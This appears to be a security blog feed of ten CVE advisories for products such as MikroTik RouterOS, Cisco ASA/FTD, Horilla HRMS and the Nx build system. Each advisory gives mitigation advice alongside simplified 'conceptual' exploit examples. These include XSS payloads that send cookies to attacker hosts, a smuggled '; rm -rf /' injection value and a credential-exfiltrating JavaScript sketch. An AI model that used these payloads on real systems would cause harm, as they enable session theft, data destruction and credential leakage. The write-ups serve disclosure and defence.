Author: Ameeba

CVE-2025-10948: Remote Buffer Overflow Vulnerability in MikroTik RouterOS 7
Overview

A critical vulnerability has been found in MikroTik RouterOS 7, a popular operating system for routers. This vulnerability, cataloged as CVE-2025-10948, significantly impacts the router’s functionality, potentially leading to system compromise or data leakage. As routers are often the first line of defense in a network, this vulnerability could potentially expose a network and its users to various forms of cyber-attacks, including unauthorized access, data theft, and Denial of Service (DoS) attacks.

Vulnerability Summary

CVE ID: CVE-2025-10948
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

MikroTik | RouterOS 7

How the Exploit Works

The vulnerability lies in the function parse_json_element of the file /rest/ip/address/print of the component libjson.so in MikroTik RouterOS. An attacker can manipulate data that leads to a buffer overflow condition. As a result, attackers can remotely execute arbitrary code on the affected system, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example demonstrating how the vulnerability might be exploited. This example involves sending a malicious HTTP request to the vulnerable endpoint:
```
POST /rest/ip/address/print HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "overflow": "AAAAA....[continued until buffer overflow]" }
```
In the above example, the ‘overflow’ field contains an artificially long string of ‘A’s designed to overflow the buffer, potentially leading to arbitrary code execution.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor patch as soon as it is available. In the case where the vendor has not provided a patch or the patching is not immediately feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is crucial to regularly update and patch all systems to ensure the highest level of security.
October 1, 2025
CVE-2025-10467: A High Severity Stored Cross-Site Scripting (XSS) Vulnerability in OBS Student Affairs Information System
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, CVE-2025-10467, which affects the OBS (Student Affairs Information System) developed by PROLIZ Computer Software Hardware Service Trade Ltd. Co. This vulnerability is of significant concern due to the system’s wide adoption by educational institutions globally, and the potential consequences if exploited. The vulnerability pertains to an instance of Improper Neutralization of Input During Web Page Generation, more commonly referred to as ‘Cross-site Scripting’ or XSS. An attacker exploiting this vulnerability could compromise the system or leak sensitive data, posing a significant risk to the integrity and confidentiality of the information managed by these institutions.

Vulnerability Summary

CVE ID: CVE-2025-10467
Severity: High (CVSS Score 8.9)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

OBS (Student Affairs Information System) | Before v25.0401

How the Exploit Works

This vulnerability arises from an improper neutralization of user input during the web page generation process within the OBS system. The flaw allows a malicious actor to inject client-side scripts into web pages viewed by other users, a method known as stored XSS. These scripts could potentially be designed to steal user session cookies, deface web pages, or perform other unauthorized actions that compromise the system’s data integrity and confidentiality.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /student/updateProfile HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"name": "John Doe",
"bio": "<script>new Image().src='http://attacker.example.net/steal.php?cookie='+document.cookie;</script>"
}
```
In the above example, a malicious script is embedded into the user’s bio. When other users view this profile, the embedded script is executed, sending the victim’s session cookie to the attacker’s server, effectively compromising the user’s session.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor-provided patch. If this is not immediately possible, a temporary solution is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out potential XSS attack vectors. However, these are not foolproof solutions and can only serve as a stopgap measure until the patch can be applied. Further, developers are advised to follow secure coding practices such as input validation and output encoding to prevent such vulnerabilities in the future.
October 1, 2025
CVE-2025-20363: Critical Web Services Vulnerability in Cisco Secure Firewall and IOS Software
Overview

In the ever-evolving realm of cybersecurity, a new critical vulnerability, CVE-2025-20363, has been identified in several Cisco software products, including Cisco Secure Firewall Adaptive Security Appliance (ASA) Software, Cisco Secure Firewall Threat Defense (FTD) Software, Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software. This vulnerability, if left unaddressed, allows an unauthenticated, remote attacker to execute arbitrary code on the affected device, potentially leading to a full system compromise.
This vulnerability is particularly noteworthy due to its high severity score and the widespread usage of the affected Cisco Software, which makes it a potential target for cybercriminals aiming to gain unauthorized access to networks and data. Mitigation and patching should be prioritized to prevent any possible exploitation.

Vulnerability Summary

CVE ID: CVE-2025-20363
Severity: Critical (CVSS: 9.0)
Attack Vector: Network
Privileges Required: None for Cisco ASA and FTD Software; Low for Cisco IOS, IOS XE, and IOS XR Software
User Interaction: None
Impact: Execution of arbitrary code as root, potentially leading to complete system compromise or data leakage

Affected Products

Product | Affected Versions

Cisco Secure Firewall Adaptive Security Appliance (ASA) Software | All versions prior to patch
Cisco Secure Firewall Threat Defense (FTD) Software | All versions prior to patch
Cisco IOS Software | All versions prior to patch
Cisco IOS XE Software | All versions prior to patch
Cisco IOS XR Software | All versions prior to patch

How the Exploit Works

The vulnerability stems from the improper validation of user-supplied input in HTTP requests by the web services of the affected Cisco software. A successful exploit is achieved by an attacker sending a specially crafted HTTP request to a targeted web service on an affected device.
The attacker could potentially gain additional system information, overcome exploit mitigations, or both, thereby allowing them to execute arbitrary code as root. This could lead to the attacker gaining total control of the affected device.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited via a malicious HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "base64_encoded_exploit_code_here" }
```
In this example, a malicious payload is sent to a vulnerable endpoint on the target device. This payload, if processed by the vulnerable system, could lead to arbitrary code execution.
October 1, 2025
CVE-2025-59841: Session Invalidation Vulnerability in Flag Forge CTF Platform
Overview

The cybersecurity landscape is constantly evolving, and as new threats emerge, it remains crucial for organizations to stay vigilant. In this regard, one recent vulnerability that has caught the attention of cybersecurity professionals is CVE-2025-59841. This vulnerability affects the Flag Forge Capture The Flag (CTF) platform, which is widely used by cybersecurity teams for training and skill development purposes.
The vulnerability stems from Flag Forge’s web application’s improper handling of session invalidation in versions 2.2.0 to before 2.3.1. This flaw could potentially lead to system compromise or data leakage, posing a significant threat to organizations that rely on Flag Forge for their cybersecurity training.

Vulnerability Summary

CVE ID: CVE-2025-59841
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Flag Forge | 2.2.0 to 2.3.0

How the Exploit Works

The vulnerability resides in the improper handling of session invalidation by the Flag Forge web application. In a typical secure application, logging out should invalidate a user session, making it impossible for any user to continue accessing protected endpoints. However, in the affected versions of Flag Forge, authenticated users can continue to access protected endpoints such as /api/profile even after logging out.
Moreover, the Cross-Site Request Forgery (CSRF) tokens remain valid post-logout. This allows potential attackers to perform unauthorized actions since the system still recognizes these tokens as legitimate. This vulnerability opens a potential attack vector for malicious actors who can exploit this flaw to possibly compromise the system or leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:
```
GET /api/profile HTTP/1.1
Host: target.example.com
Cookie: sessionid=...; csrftoken=...
GET /logout HTTP/1.1
Host: target.example.com
Cookie: sessionid=...; csrftoken=...
GET /api/profile HTTP/1.1
Host: target.example.com
Cookie: sessionid=...; csrftoken=...
```
In this example, the attacker is able to access the /api/profile endpoint even after issuing a /logout request, exploiting the session invalidation vulnerability. The CSRF token remains valid after logout, allowing the attacker to continue accessing the user’s profile.
It is strongly recommended to apply the vendor patch (version 2.3.1) or use a Web Aplication Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Always ensure that your systems are up-to-date with the latest security patches to protect against such vulnerabilities.
October 1, 2025
CVE-2025-10542: iMonitor EAM 9.6394 Default Administrative Credentials Vulnerability
Overview

CVE-2025-10542 is a critical vulnerability affecting iMonitor EAM 9.6394, a software product widely used for employee monitoring and data security. The vulnerability stems from the software shipping with default administrative credentials, which are easily accessible and displayed within the management client’s connection dialog. This vulnerability has far-reaching implications, potentially allowing remote attackers to gain full control over monitored agents and data, leading to severe data leakages or even system compromise.

Vulnerability Summary

CVE ID: CVE-2025-10542
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote system takeover, potential data leakage, and compromise of monitored agents and data

Affected Products

Product | Affected Versions

iMonitor EAM | 9.6394

How the Exploit Works

The exploit leverages the standard administrative credentials that ship with iMonitor EAM 9.6394. These credentials are displayed within the management client’s connection dialog. If these default credentials are not changed by the administrator, a remote attacker can use them to authenticate to the EAM server. This authentication grants the attacker full control over monitored agents and access to highly sensitive data, including keylogger output.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability.
```
ssh admin@target_eam_server
# Uses default credentials: admin:admin
# If authentication is successful, the attacker now has full control.
```
This simple example shows how an attacker could use SSH to attempt to connect to the EAM server using the default admin credentials. If successful, the attacker gains full access to the server, with the ability to read sensitive telemetry and issue arbitrary actions to all connected clients.

Mitigation

To mitigate this vulnerability, administrators should immediately change the default credentials that ship with iMonitor EAM 9.6394. Additionally, they can apply a vendor-provided patch that addresses this issue. If an immediate patch is not available, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
In the long term, it is essential for administrators to follow best practices, such as regularly changing passwords and avoiding the use of default credentials, to minimize the risk of such vulnerabilities.
October 1, 2025
CVE-2025-20333: Critical Vulnerability in Cisco Secure Firewall ASA and FTD Software
Overview

A significant vulnerability, dubbed CVE-2025-20333, has been identified in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) software. This vulnerability affects a broad range of enterprises and individual users globally who rely on these Cisco systems for their network security. The severity and potential impact of this vulnerability make it a high-priority concern, given its potential to lead to a complete system compromise or data leakage, posing a serious threat to the confidentiality, integrity, and availability of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-20333
Severity: Critical (CVSS Score: 9.9)
Attack Vector: Network
Privileges Required: User level
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Cisco Secure Firewall ASA Software | All versions prior to patch
Cisco Secure Firewall FTD Software | All versions prior to patch

How the Exploit Works

The exploit of CVE-2025-20333 takes advantage of improper validation of user-supplied input in HTTP(S) requests in the VPN web server. An attacker with valid VPN user credentials can exploit this vulnerability by crafting malicious HTTP(S) requests and sending them to the affected device. If the exploit is successful, it could allow the attacker to execute arbitrary code as the root user on the device. This level of access could result in the complete compromise of the device, including the potential for data exfiltration.

Conceptual Example Code

Here’s a conceptual example of how a malicious HTTP request exploiting this vulnerability might look:
```
POST /vpn-endpoint HTTP/1.1
Host: affected-device.example.com
Content-Type: application/json
Authorization: Bearer <valid VPN user token>
{
"malicious_payload": "<arbitrary code to be executed as root>"
}
```
This conceptual example is a simplification and the actual exploit would likely involve more complex and obfuscated code. However, this example serves to illustrate the basic mechanism of the exploit.

Mitigation Guidance

To mitigate this vulnerability, users are strongly advised to apply the vendor-provided patch as soon as possible. In the absence of an immediate patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. This vulnerability highlights the importance of proper input validation and the potential security risks when it is neglected. Regular patching and software updates are crucial in maintaining a secure environment.
October 1, 2025
CVE-2025-59832: Stored XSS Vulnerability in Horilla HRMS
Overview

The CVE-2025-59832 is a potent vulnerability found in Horilla, a widely-used open source Human Resource Management System (HRMS). The flaw is a stored Cross-Site Scripting (XSS) vulnerability that could allow an attacker with low-privilege access to execute arbitrary JavaScript in an administrator’s browser. This has the potential to hijack the admin’s session, exfiltrate cookies or CSRF token, leading to a full system compromise or data leakage.
Given the popularity of Horilla as an HRMS solution, the vulnerability affects a broad range of organizations, potentially exposing their sensitive HR data to cyber threats. The severity of this vulnerability underscores the importance of prompt patching and use of mitigation strategies to maintain system security.

Vulnerability Summary

CVE ID: CVE-2025-59832
Severity: Critical (9.9 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Horilla HRMS | Prior to version 1.4.0

How the Exploit Works

The exploit takes advantage of a stored XSS vulnerability in the ticket comment editor of Horilla HRMS. An attacker, even with low-privilege access, could inject malicious JavaScript into the comment section. This stored script is then executed when an admin opens the ticket, leading to the execution of the script in the admin’s browser. This could lead to the exfiltration of the admin’s cookies or CSRF token and potentially enable the hijacking of their session.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. It involves a POST request with a malicious payload.
```
POST /ticket/comment HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"comment": "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}
```
In the example, the attacker injects a script that redirects the document location to their own server, appending the admin’s cookies to the URL which can be subsequently captured.
This vulnerability has been patched in version 1.4.0 of Horilla HRMS. As a mitigation strategy, users are advised to promptly apply the patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.
October 1, 2025
CVE-2025-59834: Critical Command Injection Vulnerability in ADB MCP Server
Overview

The vulnerability we are examining today, known as CVE-2025-59834, has major implications for security professionals and Android device users alike. This flaw is located within the ADB MCP Server, a critical component in interacting with Android devices through the Android Debug Bridge (ADB). ADB is a versatile tool that allows users to manage the state of an Android device, making this vulnerability particularly serious.
The vulnerability in question could enable an attacker to execute arbitrary commands on a vulnerable system if exploited successfully. This presents a significant risk to data integrity and confidentiality, as well as system availability-three key pillars of information security. Given the widespread use of Android devices, this vulnerability warrants serious attention and immediate action.

Vulnerability Summary

CVE ID: CVE-2025-59834
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Command execution, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

ADB MCP Server | 0.1.0 and prior

How the Exploit Works

The exploit takes advantage of a command injection vulnerability in the MCP Server tool definition and implementation. Essentially, an attacker can inject malicious commands into the MCP Server that the system will then execute. This is possible because the server does not properly sanitize inputs, allowing an attacker to include special characters or commands that the system will interpret as legitimate commands.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. This example uses a shell command that an attacker could use to inject a malicious payload into the MCP Server:
```
adb mcp upload --target="; rm -rf /"  # An example of a destructive command that deletes all files
```
In this example, the semicolon allows the attacker to execute a second command after the initial `adb mcp upload` command. The second command (`rm -rf /`) is a destructive command that deletes all files on the system-clearly, this could have devastating effects on an unpatched system.

Mitigation

The vulnerability has been patched by the vendor in commit 041729c. It is strongly recommended that all users update their ADB MCP Server to the latest version that incorporates this patch. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help detect and block attempts to exploit this vulnerability until the patch can be applied.
October 1, 2025
CVE-2025-10942: Remote Buffer Overflow Vulnerability in H3C Magic B3
Overview

A pressing cybersecurity concern has been identified within the H3C Magic B3 up to version 100R002. This is a significant issue due to the potentially severe consequences it could inflict on affected systems and the information they hold. The vulnerability, which allows for remote initiation, involves the manipulation of an argument parameter leading to a buffer overflow in the file /goform/aspForm’s AddMacList function. This matter is of urgent concern as the exploit is publicly available and has the potential for widespread misuse if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-10942
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

H3C Magic B3 | Up to 100R002

How the Exploit Works

This vulnerability arises from an issue within the AddMacList function of the /goform/aspForm file. An attacker can manipulate the ‘param’ argument of this function to trigger a buffer overflow. This overflow could then be exploited to execute arbitrary code on the system, leading to potential system compromise or data leakage.

Conceptual Example Code

Given the vulnerability’s nature, an attacker could potentially exploit it by sending an HTTP POST request with a specially crafted payload. A conceptual example of such an exploit might look like this:
```
POST /goform/aspForm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
The ‘param’ value here is excessively long and would cause a buffer overflow within the AddMacList function when processed. An attacker would typically replace the ‘A’s with malicious code intended to take control of the system or exfiltrate data.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can temporarily mitigate the vulnerability. These tools can monitor network traffic and detect or block suspicious activities related to this exploit. However, these are not long-term solutions, and the application of the vendor patch should be prioritized to fully mitigate this vulnerability.
October 1, 2025
CVE-2025-10894: High-Risk Supply Chain Attack on Nx Build System
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a high-risk vulnerability, identified as CVE-2025-10894, that affects the Nx build system package and several related plugins. This vulnerability is of particular significance due to its potential for system compromise and data leakage, posing a severe threat to users’ data privacy and system security.
The malicious code was inserted via a supply-chain attack, a sophisticated method where an adversary infiltrates a software supply chain to exploit downstream systems. In this case, the tampered package was published to the npm software registry, a widely utilized platform for JavaScript software packages, further increasing the potential impact.

Vulnerability Summary

CVE ID: CVE-2025-10894
Severity: Critical (CVSS 9.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Nx Build System | All versions
Related Nx Plugins | All versions

How the Exploit Works

The exploit works by leveraging the compromised Nx build system package or its related plugins. Once the tampered package is installed, the malicious code becomes active within the user’s system. The code is designed to scan the file system, collecting sensitive credentials. These credentials are then posted to GitHub under the user’s accounts in the form of a new repository, potentially exposing sensitive data to malicious actors.

Conceptual Example Code

Consider the following conceptual example of how this exploit might look in action:
```
const fs = require('fs');
const https = require('https');
const scanFileSystem = () => {
// Assume this function scans the file system and collects credentials
// Returns an array of credentials
};
const postToGithub = (credentials) => {
const options = {
hostname: 'api.github.com',
path: '/user/repos',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
};
const req = https.request(options, (res) => {
// Handle response
});
const data = { name: 'leaked-credentials', description: 'Repo containing stolen credentials', credentials };
req.write(JSON.stringify(data));
req.end();
};
const credentials = scanFileSystem();
postToGithub(credentials);
```
This JavaScript code illustrates the attack conceptually, where the malicious code scans the system for credentials and then posts them to GitHub. This example is oversimplified and does not include error handling or other complexities that would be present in a real-world scenario.
October 1, 2025